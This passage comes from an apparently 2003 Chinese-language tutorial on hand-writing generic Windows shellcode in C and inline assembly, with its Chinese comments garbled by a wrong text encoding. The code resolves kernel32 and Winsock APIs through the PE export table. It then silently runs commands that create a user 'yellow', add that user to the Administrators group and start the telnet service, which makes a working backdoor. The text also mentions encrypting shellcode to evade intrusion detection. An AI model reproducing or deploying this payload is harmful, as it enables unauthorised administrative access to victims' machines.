ecx,[eax+0x3c] add ecx,eax cmp word ptr [ecx],EP je FoundKNL MoveUp: dec eax jmp FindMZ FoundKNL: pop ecx pop esi mov DLLS[KERNELDLL* type DWORD],eax mov ImageBase,eax call LGETPROCADDRESS _emit G; _emit e; _emit t; _emit P; _emit r; _emit o; _emit c; _emit A; _emit d; _emit d; _emit r; _emit e; _emit s; _emit s; _emit 0x00 LGETPROCADDRESS: pop eax mov APINAMES[GETPROCADDRESS * 4],eax mov FuncName,eax mov flen,0x0d mov Count,0 call FindApi mov API[GETPROCADDRESS *type FARPROC],eax call LOADLIBRARYA _emit L; _emit o; _emit a; _emit d; _emit L; _emit i; _emit b; _emit r; _emit a; _emit r; _emit y; _emit A; _emit 0x00 LOADLIBRARYA: pop eax mov APINAMES[LOADLIBRARY * 4],eax mov FuncName,eax mov flen,0x0b mov Count,0 call FindApi mov API[LOADLIBRARY * type FARPROC],eax } __asm { //2,ÌîдÐèÒªµÄDLLÃû³Æ,×¢ÒâÕâÀïºÍÉÏÃ涨ÒåµÄºê˳ÐòÒªÒ»Ñù call KERNEL32 _emit k; _emit e; _emit r; _emit n; _emit e; _emit l; _emit 3; _emit 2; _emit . _emit d _emit l _emit l _emit 0x00 KERNEL32: pop DLLNAMES[KERNELDLL*4] call WS2_32 _emit w; _emit s; _emit 2; _emit _; _emit 3; _emit 2; _emit . _emit d _emit l _emit l _emit 0x00 WS2_32: pop DLLNAMES[WS2_32DLL * 4] //3,ÌîдÆäËüÐèÒªµÄAPIÃû³Æ,×¢ÒâÕâÀïÒ²ÒªºÍÉÏÃ涨ÒåºÍºê˳ÐòÒ»Ñù call LEXITPROCESS//1 _emit E; _emit x; _emit i; _emit t; _emit P; _emit r; _emit o; _emit c; _emit e; _emit s; _emit s; _emit 0x00 LEXITPROCESS: pop APINAMES[EXITPROCESS * 4] call LWINEXEC//2 _emit W; _emit i; _emit n; _emit E; _emit x; _emit e; _emit c; _emit 0x00 LWINEXEC: pop APINAMES[WINEXEC * 4] call LSOCKET//3 _emit s; _emit o; _emit c; _emit k; _emit e; _emit t; _emit 0x00 LSOCKET: pop APINAMES[SOCKET * 4] call LBIND//4 _emit b; _emit i; _emit n; _emit d; _emit 0x00 LBIND: pop APINAMES[BIND * 4] call LCONNECT _emit c; _emit o; _emit n; _emit n; _emit e; _emit c; _emit t; _emit 0x00 LCONNECT: pop APINAMES[CONNECT * 4] call LACCEPT//5 _emit a; _emit c; _emit c; _emit e; _emit p; _emit t; _emit 0x00 LACCEPT: pop APINAMEScall LLISTEN//6 _emit l; _emit i; _emit s; _emit t; _emit e; _emit n; _emit 0x00 LLISTEN: pop APINAMES[LISTEN * 4] call LSEND//7 _emit s; _emit e; _emit n; _emit d; _emit 0x00 LSEND: pop APINAMES[SEND * 4] call LRECV//8 _emit r; _emit e; _emit c; _emit v; _emit 0x00 LRECV: pop APINAMES[RECV * 4] call CLOSESOCKETL//9 _emit c; _emit l; _emit o; _emit s; _emit e; _emit s; _emit o; _emit c; _emit k; _emit e; _emit t; _emit 0x00 CLOSESOCKETL: pop APINAMES[CLOSESOCKET * 4] call WSASTARTUPL//10 _emit W; _emit S; _emit A; _emit S; _emit t; _emit a; _emit r; _emit t; _emit u; _emit p; _emit 0x00 WSASTARTUPL: pop APINAMES[WSASTARTUP * 4] call WSACLEANUPL//11 _emit W; _emit S; _emit A; _emit C; _emit l; _emit e; _emit a; _emit n; _emit u; _emit p; _emit 0x00 WSACLEANUPL: pop APINAMES[WSACLEANUP * 4] //nop;¿ÉÒÔÔÚÕâÀïÉèÖÃÒ»¸ö¶Ïµã²é¿´DLLNAMESºÍAPINAMESÊÇ·ñÌîÈëÁËÐèÒªµÄÄÚÈÝ
//Ìîд } //3,×°ÔØËùÓÐÐèÒªµÄDLL for(i=DLLSTART;i<=DLLEND;i++) { DLLS=API[LOADLIBRARY](DLLNAMES); } //4,»ñÈ¡ËùÓÐÐèÒªµÄAPI //4.1È¡µÃWindows Kernel API for(i=KNLSTART;i<=KNLEND;i++) { API=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES); } //4.2È¡µÃWindows Sockets API for(i=WSOCKSTART;i<=WSOCKEND;i++) { API=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES); } //5,±àдShellCodeµÄ¹¦ÄÜʵÌ岿·Ö __asm { call PUTCOMMAND_ADDUSER _emit n _emit e _emit t _emit _emit u _emit s _emit e _emit r _emit _emit y _emit e _emit l _emit l _emit o _emit w _emit _emit y _emit e _emit l _emit l _emit o _emit w _emit _emit / _emit a _emit d _emit d _emit 0x00 PUTCOMMAND_ADDUSER: pop CMD[COMMAND_ADDUSER * 4] call PUTCOMMAND_SETUSERADMIN _emit n _emit e _emit t _emit _emit l _emit o _emit c _emit a _emit l _emit g _emit r _emit o _emit u _emit p _emit _emit A _emit d _emit m _emit i _emit n _emit i _emit s _emit t _emit r _emit a _emit t _emit o _emit r _emit s _emit _emit y _emit e _emit l _emit l _emit o _emit w _emit _emit / _emit a _emit d _emit d _emit 0x00 PUTCOMMAND_SETUSERADMIN: pop CMD[COMMAND_SETUSERADMIN*4] call PUTCOMMAND_OPENTLNT _emit n _emit e _emit t _emit _emit s _emit t _emit a _emit r _emit t _emit _emit t _emit l _emit n _emit t _emit s _emit v _emit r _emit 0x00 PUTCOMMAND_OPENTLNT: pop CMD[COMMAND_OPENTLNT* 4] } //__asm int 3//ÔÚRelease°æ±¾ÖÐʹÓöϵã //6,Ö´ÐÐÃüÁîн¨Óû§,Èç¹ûȨÏÞ¹»¾Í½«Óû§¼ÓÈëAdministrators,ÔÙ¿ªÆô±ê×¼µÄTelnet·þÎñ for(i=COMMAND_START;i<=COMMAND_END;i++) API[WINEXEC](CMD,SW_HIDE); /* ÎÒÃÇÒѾÒýÈëÁËһЩ³£ÓõÄKERNEL APIºÍWINSOCK API,¿ÉÒÔÔÚÕâÀï½øÐиüÉîÈëµÄ ¿ª·¢(±ÈÈçÎÒÃÇ¿ÉÒÔʹÓÃWinSock×Ô¼ºÊµÏÖÒ»¸öTelnet·þÎñ¶Ë). */ API[EXITPROCESS](0);//ʹÓÃExitProcessÀ´Í˳öShellCodeÒÔ¼õÉÙ´íÎó
__asm { /* ×Ó³ÌÐòFindApi,ÓÉÎÒÇ°Ãæ½²½âµÄGetFunctionByNameÐ޸ĵõ½ Èë¿Ú²ÎÊý: ImageBase:DLL»ùÖ· FuncName:ÐèÒª²éÕÒµÄÒý³öº¯ÊýÃû flen:Òý³öº¯ÊýÃû³¤¶È,ÔÚ²»»á³öÏÖÖظ´µÄÇé¿öÏ¿ÉÒÔ±ÈÒý³öº¯ÊýÃû¶ÌÒ»µã Count:Òý³öº¯ÊýµØÖ·Ë÷ÒýÆðʼ,ͨ³£Ó¦¸Ã°ÑËüÉèΪ0. ³ö¿Ú²ÎÊý: Èç¹û²éÕÒÔò³É¹¦Eax·µ»ØÓÐЧµÄº¯ÊýµØÖ·,·ñÔò·µ»Ø0 */ FindApi: mov eax,ImageBase add eax,0x3c//Ö¸ÏòPEÍ·²¿Æ«ÒÆÖµe_lfanew mov eax,[eax]//È¡µÃe_lfanewÖµ add eax,ImageBase//Ö¸ÏòPE header cmp [eax],0x00004550 jne NotFound//Èç¹ûImageBase¾ä±úÓдí mov PE,eax mov eax,[eax+0x78] add eax,ImageBase//Ö¸ÏòIMAGE_EXPORT_DIRECTORY mov [IED],eax mov eax,[eax+0x20] add eax,ImageBase mov FunNameArray,eax//±£´æº¯ÊýÃû³ÆÖ¸ÕëÊý×éµÄÖ¸ÕëÖµ mov ecx,[IED] mov ecx,[ecx+0x14]//¸ù¾ÝÒý³öº¯Êý¸öÊýNumberOfFunctionsÉèÖÃ×î´ó²éÕÒ´ÎÊý FindLoop: push ecx//ʹÓÃÒ»¸öС¼¼ÇÉ,ʹÓóÌÐòÑ»·¸ü¼òµ¥ mov eax,[eax] add eax,ImageBase mov esi,FuncName mov edi,eax mov ecx,flen//Öð¸ö×Ö·û±È½Ï,Èç¹ûÏàͬÔòΪÕÒµ½º¯Êý,×¢ÒâÕâÀïµÄecxÖµ cld rep cmpsb jne FindNext//Èç¹ûµ±Ç°º¯Êý²»ÊÇÖ¸¶¨µÄº¯ÊýÔò²éÕÒÏÂÒ»¸ö add esp,4//Èç¹û²éÕҳɹ¦,ÔòÇå³ýÓÃÓÚ¿ØÖÆÍâ²ãÑ»·¶øѹÈëµÄEcx,×¼±¸·µ»Ø mov eax,[IED] mov eax,[eax+0x1c] add eax,ImageBase//»ñµÃº¯ÊýµØÖ·±í shl Count,2//¸ù¾Ýº¯ÊýË÷Òý¼ÆË㺯ÊýµØÖ·Ö¸Õë=º¯ÊýµØÖ·±í»ùÖ·+(º¯ÊýË÷Òý*4) add eax,Count mov eax,[eax]//»ñµÃº¯ÊýµØÖ·Ïà¶ÔÆ«ÒÆÁ¿ add eax,ImageBase//¼ÆË㺯ÊýÕæʵµØÖ·,²¢Í¨¹ýEax·µ»Ø¸øµ÷ÓÃÕß jmp Found FindNext: inc Count//¼Ç¼º¯ÊýË÷Òý add [FunNameArray],4//ÏÂÒ»¸öº¯ÊýÃûÖ¸Õë mov eax,FunNameArray pop ecx//»Ö¸´Ñ¹ÈëµÄecx(NumberOfFunctions),½øÐмÆÊýÑ»· loop FindLoop//Èç¹ûecx²»Îª0ÔòµÝ¼õ²¢»Øµ½FindLoop,Íùºó²éÕÒ NotFound: xor eax,eax//Èç¹ûûÓÐÕÒµ½,Ôò·µ»Ø0 Found: ret //ShellCode½áÊø±êʶ·û _emit * _emit * } }
void AboutMe(void) { printf("\t++++++++++++++++++++++++++++++++++\n"); printf("\t+ ShellCode Demo! +\n"); printf("\t+ Code by yellow +\n"); printf("\t+ Date:2003-12-21 +\n"); printf("\t+ Email:yellow@safechina.net +\n"); printf("\t+ Home Page:www.safechina.net +\n"); printf("\t++++++++++++++++++++++++++++++++++\n");
}
void printsc(unsigned char *sc) { int x=0; printf("unsigned char shellcode[]={"); while(1) { if ((*sc==*)&&(*(sc+1)==*)) break; if(!(x++%10)) printf("\n\t"); printf("0x%0.2X,",*sc++); } printf("\n};\nTotal %d Bytes\r\n",x+1); }
int main(void) { unsigned char *p=ShellCodeFun; unsigned int k=0; if(*p==0xe9) { k=*(unsigned int*)(++p); (int)p+=k; (int)p+=4; } printsc(p); AboutMe(); getch(); } ///////////////////////////////////////////////////////////////////////////////////////////////// ×¢ÒâÎÒÔÚÕâÀïÎÒûÓÐÑÝʾShellCode¼ÓÃܼ¼Êõ,ÏÖÔÚµÄShellCode¼ÓÃܴ󶼶¼xorÖ®ÀàµÄ²Ù×÷,»ù±¾ÉϱȽϼòµ¥ ,µ«ÎªÁËÌÓ±Ü"ÈëÇÖ¼ì²âϵͳ"µÄ²éɱ»¹ÊÇÓ¦¸ÃʹÓñȽϺõļÓÃÜ·½·¨,ÎÒÏëÒÔºó¿ÉÄÜ»áдһЩÏà¹ØµÄ¼¼ÊõÎÄÕ°É!
Ok!ÒѾÑÝʾÁËÕâô¶à,ÎÒÏëÄãµÄÊÕ»ñÒ»¶¨²»Ð¡°É!Ë×»°ËµµÄºÃ"ʦ¸µÁì½øÃÅ,ÐÞÐÐÔÚ¸öÈË",ShellCode×î¹Ø¼üµÄ ¼¼ÊõÎÒÃÇÒѾÕÆÎÕÁË,ÖÁÓÚÔõôȥʵÏÖÒ»¸ö¹¦ÄܷḻµÄShellCode¾Í¿´Äã×Ô¼ºµÄ¿ª·¢¼¼ÊõºÍ¾ÑéÁË! --------------------------------------------------------------------------------------------------
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4,²Î¿¼×ÊÁÏ. <MSDN> <Windows ºËÐıà³Ì> <Windows 95ϵͳ³ÌÐòÉè¼Æ´ó°ÂÃØ> <Win32Asm Programming> 5,¹Ø¼ü×Ö: ͨÓÃShellCode,ºÚ¿Í±à³Ì¼¼Êõ,PEÒý³ö±í,KERNEL32.DLLµØÖ·,½á¹¹»¯Òì³£´¦Àí,SEH,Òç³ö,overflow,Öлª°²È«Íø By yellow from www.safechina.net 2003Äê12ÔÂ21ÈÕÍí The End. |